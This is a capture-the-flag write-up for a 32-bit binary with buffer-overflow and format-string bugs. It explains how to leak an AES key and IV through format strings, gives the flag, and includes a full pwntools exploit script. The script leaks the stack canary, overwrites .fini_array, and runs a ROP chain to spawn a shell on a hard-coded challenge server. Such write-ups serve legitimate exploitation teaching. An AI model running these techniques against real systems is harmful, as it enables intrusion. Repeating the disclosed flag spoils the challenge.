Rating: 3.7

> Write-up for non-fflush version

This binary has normal BOF and FSB, but without `fflush()` we can't get stack cookie before program exit.

So, we have to get server's `key.aes` and `iv.aes` in other way. (If you want to get shell with fflush version binary, just get stack cookie and stack address with FSB and then make .fini_array with main's address)

As you can see, in `encrypt()` function's stack frame, there's key and iv on memory. I want to get it.
But how..?

In this function, there's `printf(ciphertext_msg);` and ciphertext_msg is on `.data` (it means ciphertext_msg is on fixed address). So, we can change this string with main function's FSB like `%17$8x`(get first 4 bytes of key) or `%12$8x`(get first 4 bytes of iv). With this, we can get 32 bytes of key and 16 bytes of iv, then we can decrypt message.

Flag is pctf{th4t_m0m3n1-wh3n~f0rm41`SpiLls_0v3r}

nooMarch 5, 2018, 2:44 a.m.

# Write-up for fflush version (get shell)

# After getting shell, read key.aes and iv.aes to decrypt.

from pwn import *
import time

server = '128.199.224.175'
port = 33100

r = remote(server, port)

exit = 0x0813b8c5
fini_array = 0x08221bd4
main = 0x08048ce0
main_l = main & 0xffff
main_h = main >> 16

syscall = 0x08147bf0
popeax = 0x0804c906
inceax = 0x0804cb76
popecx = 0x081b9a41
popedx = 0x08068212
popebx = 0x080481e9
ret = 0x08048def

bss = 0x08231020 + 0x10 # because 0x20 is whitespace character

pay = p32(fini_array) + p32(fini_array+2)
pay += "%39$08x"
pay += "%41$08x"
pay += "%{}c%7$hn".format(main_l-24)
pay += "%{}c%8$hn".format(0x10000+main_h-main_l)

r.sendlineafter('Enter message :- \n', pay)

r.recvuntil('Your message is :- \n')
r.recv(8)
canary = int(r.recv(8), 16)
stack = int(r.recv(8), 16)

pay = 'a'*(0x80) + p32(canary) + 'b'*0x4 + p32(stack-0x60) + 'b'*8 + p32(ret)*10 # for safe
# read(0, bss, 0x100)
pay += p32(popeax) + p32(0x3)
pay += p32(popecx) + p32(bss)
pay += p32(popedx) + p32(0x100)
pay += p32(popebx) + p32(0)
pay += p32(syscall)

# execve("/bin/sh", NULL, NULL)
pay += p32(popeax) + p32(0x3) # because 0xb is whitespace character
for _ in xrange(8):
pay += p32(inceax)
pay += p32(popecx) + p32(0)
pay += p32(popedx) + p32(0)
pay += p32(popebx) + p32(bss)
pay += p32(syscall) + p32(exit)

get_stack_offset = False
if get_stack_offset:
pay2 = "%41$08x"
r.sendlineafter('Enter message :- \n', pay2)
r.recvuntil('Your message is :- \n')
stack2 = int(r.recv(8), 16)
print hex(stack)
print hex(stack2)
print hex(stack2-stack)
else:
r.sendlineafter('Enter message :- \n', pay)
time.sleep(0.5)

if r.connected():
r.send('/bin/sh\x00')
r.interactive()
else:
r.close()